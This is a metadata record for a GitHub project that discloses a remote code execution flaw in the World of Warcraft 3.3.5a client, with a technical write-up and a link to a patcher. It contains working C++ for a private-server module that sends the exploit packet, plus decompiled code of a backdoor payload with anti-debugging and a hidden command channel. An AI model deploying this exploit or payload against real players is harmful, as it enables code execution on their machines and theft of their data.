{"id":50423417,"url":"https://github.com/brian8544/mod-rce","last_synced_at":"2026-05-31T09:30:48.594Z","repository":{"id":355465052,"uuid":"1228121865","full_name":"brian8544/mod-rce","owner":"brian8544","description":"This repository documents a well known critical Remote Code Execution (RCE) vulnerability in the World of Warcraft: Wrath of the Lich King 3.3.5a client.","archived":false,"fork":false,"pushed_at":"2026-05-03T18:05:24.000Z","size":42405,"stargazers_count":1,"open_issues_count":0,"forks_count":1,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-03T20:13:20.184Z","etag":null,"topics":["cve","rce","rce-exploit","warden","world-of-warcraft"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/brian8544.png","metadata":{"files":{"readme":".github/README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-05-03T16:14:16.000Z","updated_at":"2026-05-03T19:38:29.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/brian8544/mod-rce","commit_stats":null,"previous_names":["brian8544/mod-rce"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/brian8544/mod-rce","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brian8544%2Fmod-rce","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brian8544%2Fmod-rce/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brian8544%2Fmod-rce/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brian8544%2Fmod-rce/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/brian8544","download_url":"https://codeload.github.com/brian8544/mod-rce/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/brian8544%2Fmod-rce/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33726718,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-05-31T02:00:06.040Z","response_time":95,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve","rce","rce-exploit","warden","world-of-warcraft"],"created_at":"2026-05-31T09:30:48.096Z","updated_at":"2026-05-31T09:30:48.581Z","avatar_url":"https://github.com/brian8544.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# mod-rce\n\nThis repository documents a well known critical Remote Code Execution (RCE) vulnerability in the World of Warcraft: Wrath of the Lich King 3.3.5a client. Historically, knowledge of this vulnerability has been limited to a small number of well known actors within the WoW emulation scene. We have decided to publish this research and AzerothCore module publicly because restricting awareness of a vulnerability of this severity only benefits those already exploiting it. The combination of arbitrary memory writes and an executable writable memory segment makes this issue exceptionally dangerous for any *unpatched* 3.3.5a client. Public disclosure ensures that the wider community can properly understand the risk, validate mitigations, and prevent continued private abuse of the vulnerability.\n\nThis RCE combines two distinct security failures that enable arbitrary code execution: a historical compiler bug from approximately 2008 that misconfigured the `.zdata` memory segment with both *write* and *execute* permissions, and a fundamental design flaw in the `CDataStore::GetInt64` function that performs *unchecked* memory writes to attacker-controlled addresses.\n\nThe exploitation chain begins with the `MSG_BATTLEGROUND_PLAYER_POSITIONS` packet handler, which uses the critically flawed `CDataStore::GetInt64` function. Despite its name implying a read operation, this function actually writes data from the packet buffer directly to arbitrary memory locations without any bounds checking or address validation. By manipulating the packet's iteration count and leveraging the predictable address calculation formula `(8 * iteration + base_address)`, an attacker can systematically write shellcode across memory until reaching the vulnerable `.zdata` segment at address `0xDD1000`.\n\nOnce the payload is written to the writable and executable `.zdata` segment, it can be triggered through a modified Warden anti-cheat initialization packet, which redirects execution from the legitimate `FrameScript::Execute` function to the injected code. For the purposes of this report, we create a messagebox pop-up by using the GM or console command `rce \u003ccharactername\u003e`.\n\nThis specific exploit can be prevented by patching your `WoW.exe` by making the `.zdata` segment read only. To do this, visit the repository: [RCEPatcher](https://github.com/stoneharry/RCEPatcher) created by [stoneharry](https://github.com/stoneharry/). Executing the payload with these newly set flags will always result in a crash.\n\n![GIF](/.github/demo.gif)\n\n## Module installation\n1. Modify the following files:\n```cpp\n.\\azerothcore-wotlk\\src\\server\\game\\Warden\\WardenWin.cpp:\nvoid WardenWin::Exploit(uint32 function) {\n    ByteBuffer moduleInit;\n    moduleInit \u003c\u003c uint8(4);\n    moduleInit \u003c\u003c uint8(0);\n    moduleInit \u003c\u003c uint8(0);\n    moduleInit \u003c\u003c function;\n    moduleInit \u003c\u003c uint8(1);\n\n    ByteBuffer moduleInitFrameExecute;\n    moduleInitFrameExecute \u003c\u003c uint8(4);\n    moduleInitFrameExecute \u003c\u003c uint8(0);\n    moduleInitFrameExecute \u003c\u003c uint8(0);\n    moduleInitFrameExecute \u003c\u003c uint32(0x00419210);\n    moduleInitFrameExecute \u003c\u003c uint8(1);\n\n    // Build check request\n    ByteBuffer buff;\n    buff \u003c\u003c uint8(WARDEN_SMSG_MODULE_INITIALIZE);\n    buff \u003c\u003c uint16(moduleInit.size());\n    buff \u003c\u003c uint32(BuildChecksum(moduleInit.contents(), 8));\n    buff.append(moduleInit);\n\n    uint8 xorByte = _inputKey[0];\n    buff \u003c\u003c uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);\n    buff \u003c\u003c uint8(0);\n    buff \u003c\u003c uint8(TIMING_CHECK ^ xorByte);\n    buff \u003c\u003c uint8(LUA_EVAL_CHECK ^ xorByte);\n    buff \u003c\u003c uint8(1);\n    buff \u003c\u003c uint8(xorByte);\n\n    buff \u003c\u003c uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST);\n    buff \u003c\u003c uint8(0);\n    buff \u003c\u003c uint8(TIMING_CHECK ^ xorByte);\n    buff \u003c\u003c uint8(xorByte);\n\n    buff \u003c\u003c uint8(WARDEN_SMSG_MODULE_INITIALIZE);\n    buff \u003c\u003c uint16(moduleInitFrameExecute.size());\n    buff \u003c\u003c uint32(BuildChecksum(moduleInitFrameExecute.contents(), 8));\n    buff.append(moduleInitFrameExecute);\n\n    // Encrypt with warden RC4 key\n    EncryptData(buff.contents(), buff.size());\n\n    WorldPacket pkt(SMSG_WARDEN_DATA, buff.size());\n    pkt.append(buff);\n    _session-\u003eSendPacket(\u0026pkt);\n}\n```\n```diff\n.\\azerothcore-wotlk\\src\\server\\game\\Warden\\WardenWin.h:\nbool IsCheckInProgress() override;\nvoid ForceChecks() override;\nvoid HandleData(ByteBuffer\u0026 buff) override;\n+ void Exploit(uint32 function);\n```\n\n2.  Clone this module into the modules directory\n3.  Re-run cmake\n4.  Compile\n\n# 1. Technical Writeup: .zdata Segment Vulnerability\n\n## 1.1 The Compiler Bug (circa 2008)\n\nIn approximately 2008, a bug existed in certain compiler versions that caused the `.zdata` segment to be marked with incorrect memory permissions. Specifically, this segment was configured as both writable and executable simultaneously.\n\n\u003e **What is .zdata?**\n\u003e\n\u003e The .zdata segment is a data section in compiled binaries. Under normal circumstances, data segments should be writable but **not** executable, while code segments should be executable but **not** writable. This separation is a fundamental security principle known as W^X (Write XOR Execute).\n\n## 1.2 Security Implications\n\nWhen a memory segment is both writable and executable (W+X), it creates a critical security vulnerability:\n\n- An attacker can write arbitrary data to this segment\n- The written data can then be executed as machine code\n- This bypasses modern security mitigations like DEP (Data Execution Prevention)\n- Enables direct code injection and execution\n\n\u003e **Critical Flaw:** The combination of writable and executable permissions on the .zdata segment effectively disables one of the most important memory protection mechanisms in modern operating systems.\n\n# 2. Vulnerability Details\n\n## 2.1 Attack Entry Point\n\nThe exploitation chain begins at the `MSG_BATTLEGROUND_PLAYER_POSITIONS` message handler within the World of Warcraft client. This handler processes battleground position updates sent from the server to the client during gameplay.\n\n## 2.2 Exploitation Mechanism\n\nThe vulnerability is triggered through a custom malicious payload that exploits the `CDataStore::GetInt64` function. This function, despite its name suggesting a read operation, actually performs an **unchecked memory write** to an attacker-controlled address.\n\n\u003e **Critical Misnomer:** The function CDataStore::GetInt64 is deceptively named. While \"Get\" implies reading data FROM the data store, the function actually WRITES data TO arbitrary memory locations. The second parameter (a2) is treated as a destination pointer where 8 bytes from the packet buffer are written, with absolutely no bounds checking or validation.\n\n\u003e **Attack Process Overview**\n\u003e The exploit takes advantage of how the client processes incoming byte streams from the server. By sending specially crafted position update packets, an attacker can trigger a buffer overflow that writes arbitrary data to a controlled memory location.\n\n## 2.3 Precise Memory Manipulation\n\nThe attack operates through an iterative memory writing technique that leverages the packet handler's loop structure:\n\n- **Target Address:** 0xDD1000 (within the writable and executable .zdata segment)\n- **Write Increment:** 8 bytes per iteration\n- **Loop Control:** dword_BEA5B0 is read from the malicious packet and controls how many iterations occur\n- **Address Calculation:** Each iteration writes to (8 * i + 12493184), where i is the current loop counter\n\n\u003e **Loop Exploitation in Detail**\n\u003e\n\u003e **Iteration 0:** Writes to address 12493184 + (8 × 0) = 12493184 (0xBEA000)\n\u003e **Iteration 1:** Writes to address 12493184 + (8 × 1) = 12493192 (0xBEA008)\n\u003e **Iteration 2:** Writes to address 12493184 + (8 × 2) = 12493200 (0xBEA010)\n\u003e **Iteration 10000:** Writes to address 12493184 + (8 × 10000) = 12573184 (0xBFE000)\n\u003e **Key Insight:** By controlling dword_BEA5B0 in the packet, the attacker determines exactly how many 8-byte chunks to write and can precisely target the .zdata segment at 0xDD1000. The calculation is deterministic: target_iteration = (0xDD1000 - 12493184) / 8 = 257,488 iterations.\n\nThrough this method, the attacker can systematically write arbitrary bytecode across memory until reaching the .zdata segment. Each iteration advances the write position by exactly 8 bytes, allowing the construction of a complete shellcode payload at a predictable, executable memory location.\n\n\u003e **Critical Detail:** Because the .zdata segment has both write and execute permissions due to the compiler bug, the injected bytecode can be executed immediately after being written, completing the RCE exploitation chain.\n\n## 2.4 Vulnerable Code Analysis\n\nThe following decompiled code shows the vulnerable packet handler and the data store function used to write arbitrary data:\n\n```cpp\n// MSG_BATTLEGROUND_PLAYER_POSITIONS Packet Handler\nint __cdecl Packet_MSG_BATTLEGROUND_PLAYER_POSITIONS(\n    int a1, int _1C, int a3, CDataStore *this)\n{\n    unsigned int i;     // edi - Loop counter\n    int v5;             // eax - Temporary variable\n    int a2;             // [esp+Ch] [ebp-4h] BYREF\n    // STEP 1: Read attacker-controlled iteration count\n    CDataStore::GetInt32(this, \u0026dword_BEA5B0);\n    // STEP 2: THE EXPLOIT LOOP - memory corruption occurs here\n    // VULNERABILITY: Loop count is attacker-controlled with NO validation\n    for ( i = 0; i \u003c dword_BEA5B0; ++i )\n    {\n        // Address: 12493184 + (8 * i) — reaches 0xDD1000 after 257488 iterations\n        // CRITICAL: GetInt64 WRITES 8 bytes to the calculated address\n        CDataStore::GetInt64(this, (QWORD *)(8 * i + 12493184));\n        CDataStore::GetFloat(this, (float *)(8 * i + 12494288));\n        CDataStore::GetFloat(this, (float *)(8 * i + 12494292));\n    }\n    // STEP 3: Read secondary loop count (also attacker-controlled)\n    CDataStore::GetInt32(this, \u0026a2);\n    ...\n}\n// CDataStore::GetInt64 - The critically flawed write primitive\nint __thiscall CDataStore::GetInt64(CDataStore *this, QWORD *a2)\n{\n    if ( CDataStore::CanRead(this, this-\u003em_read, 8) )\n    {\n        // CRITICAL FLAW: This WRITES to a2 — no validation, no bounds check!\n        // Attacker controls: destination address, data written, iteration count\n        *a2 = *(_QWORD *)\u0026this-\u003em_buffer[this-\u003em_read - this-\u003em_base];\n        this-\u003em_read += 8;\n    }\n    return (int)this;\n}\n```\n\n\u003e **How the Memory Write Works**\n\u003e\n\u003e **Step 1:** Attacker sends payload with dword_BEA5B0 set to control iteration count\n\u003e **Step 2:** Each iteration calls CDataStore::GetInt64(this, (QWORD *)(8 * i + 12493184))\n\u003e **Step 3:** The calculated address progresses through memory in 8-byte increments\n\u003e **Step 4:** After ~257,488 iterations, the write address reaches 0xDD1000 in the vulnerable .zdata segment\n\u003e **Step 5:** Arbitrary shellcode from the packet is written directly to this executable memory region\n\n# 3. Injected Payload Analysis\n\n## 3.1 The Warmane Payload\n\nOnce the attacker successfully writes their code to 0xDD1000, the following malicious payload is executed. This code demonstrates a sophisticated multi-stage attack designed to establish persistent control while evading detection:\n\n```cpp\nvoid sub_DD1000()\n{\n    int v0;    // ebx\n    _BYTE *v1; // eax\n    _BYTE *v2; // edx\n    // ANTI-DEBUGGING: Exit immediately if debugger is attached\n    if ( !IsDebuggerPresent() )\n    {\n        sub_54E220();  // Unknown initialization function\n        v0 = dword_DD0FFC;\n        if ( !dword_DD0FFC )\n        {\n            // STAGE 1: Allocate 4KB RWX memory region\n            // VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)\n            v1 = VirtualAlloc(0, 0x1000u, 0x1000u, 0x40u);\n            v0 = (int)v1;\n            dword_DD0FFC = (int)v1;\n            // STAGE 2: Copy secondary payload to new memory\n            v2 = \u0026off_DD15A0;\n            do\n                *v1++ = *v2++;\n            while ( v2 != (_BYTE *)\u0026unk_DD15FE );\n        }\n        // STAGE 3: Hook CMSG_UNUSED5 as covert C2 channel\n        ClientServices::SetMessageHandler(CMSG_UNUSED5, v0 + 32, (void *)(v0 + 32));\n        // STAGE 4: Jump to newly allocated payload\n        __asm { jmp ebx }\n    }\n    // If debugger detected, crash/exit\n    JUMPOUT(0);\n}\n```\n\n## 3.2 Payload Behavior Breakdown\n\n\u003e **Attack Stages**\n\u003e\n\u003e **1. Anti-Debugging Protection:** Uses IsDebuggerPresent() to detect analysis attempts and terminates if debugging is detected, making reverse engineering more difficult.\n\u003e **2. Memory Allocation:** Allocates a new 4KB memory region with Read-Write-Execute permissions using VirtualAlloc(). This creates a clean, permanent location for the backdoor code.\n\u003e **3. Payload Deployment:** Copies the secondary payload from embedded data at off_DD15A0 to the newly allocated memory. This payload is the actual backdoor handler.\n\u003e **4. Message Handler Hijacking:** Registers the backdoor as the handler for CMSG_UNUSED5, an unused client message opcode. This creates a covert command-and-control (C2) channel that can be triggered by sending specially crafted packets.\n\u003e **5. Execution Transfer:** Jumps to the newly installed backdoor code, establishing persistence.\n\n## 3.3 Self-Cleaning Mechanism\n\nAfter the payload successfully executes and establishes persistence, it erases evidence of the initial infection to avoid detection:\n\n```cpp\n// Cleanup function - destroys forensic evidence\nchar *sub_12E70000()\n{\n    // ANTI-FORENSICS: Zero out the entire .zdata injection site\n    // Clears 4KB (0x1000 bytes) starting at 0xDD1000\n    memset(\u0026unk_DD1000, 0, 0x1000u);\n    return \u0026byte_C79620;\n}\n```\n\n\u003e **Evasion Technique:** By zeroing out the injection site at 0xDD1000, the attacker removes evidence of the initial exploit. Since the backdoor has been copied to a new memory region and registered as a message handler, it continues to function even after the injection site is cleaned. This makes post-infection forensic analysis significantly more difficult.\n\n## 3.4 Runtime Extension Access\n\nOnce installed, the payload provides runtime extension capabilities through the CMSG_UNUSED5 message channel. The extension operates within the client's process space and remains active for the duration of the client session. The attacker can send commands disguised as legitimate game traffic, enabling various extended functionalities:\n\n- Execute arbitrary code within the client process\n- Access and exfiltrate data from the client's memory space (credentials, game data, system information)\n- Deploy additional runtime modules or extensions\n- Establish client-side automation capabilities\n- Monitor and intercept game communications in real-time\n\n\u003e **Persistence Model**\n\u003e\n\u003e This extension operates entirely in memory during runtime and does not persist across client restarts. When the game client is closed, all injected code is removed from memory. This transient nature means the extension must be re-deployed each time the client launches, making it a session-based rather than system-level modification.\n\n# 4. Execution Trigger Mechanism\n\n## 4.1 Warden Packet Hijacking\n\nThe injected payload at 0xDD1000 is triggered through a clever manipulation of the Warden anti-cheat system's initialization packet. The attacker modifies the Warden initialization process to redirect code execution to their malicious payload.\n\n\u003e **Normal Warden Flow**\n\u003e\n\u003e Under normal circumstances, the Warden initialization packet calls FrameScript::Execute to perform Lua string validation checks as part of the anti-cheat verification process.\n\n## 4.2 Address Substitution Attack\n\nThe exploit modifies the Warden initialization packet to replace the legitimate function pointer:\n\n```cpp\n// NORMAL EXECUTION PATH:\n// Warden Init Packet -\u003e calls FrameScript::Execute -\u003e Lua string check\n// EXPLOITED EXECUTION PATH:\n// Warden Init Packet -\u003e function pointer changed to 0xDD1000 -\u003e malicious payload\n//\n// The attacker replaces the address of FrameScript::Execute with 0xDD1000.\n// When Warden initialization occurs, it unknowingly executes injected code.\n```\n\n## 4.3 Why This Works\n\nThis exploitation technique is particularly effective for several reasons:\n\n- **Trusted Code Path:** Warden is a legitimate anti-cheat system, so its initialization is trusted by the client\n- **Expected Execution:** Warden regularly performs checks, making the execution of code during initialization normal behavior\n- **Lua String Check Context:** The execution occurs in the context of a Lua string validation, which typically has elevated privileges for game state inspection\n- **Timing Control:** The attacker can control when the payload executes by controlling when the modified Warden packet is sent\n\n\u003e **Ironic Security Failure:** The attacker weaponizes the Warden anti-cheat system itself to execute malicious code. The very system designed to protect the game becomes the vehicle for the exploit, demonstrating a complete subversion of the security architecture.\n\n## 4.4 Thanks to:\n- [TechMecca](https://github.com/TechMecca) - Research \u0026 detailed writeup\n- [stoneharry](https://github.com/stoneharry/) - RCEPatcher\n- [Saty](https://github.com/SatyPardus) - Proof of concept 2.0 final using Warden\n- [brian8544](https://github.com/brian8544) - Proof of concept 1.0 \u0026 module","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrian8544%2Fmod-rce","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbrian8544%2Fmod-rce","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbrian8544%2Fmod-rce/lists"}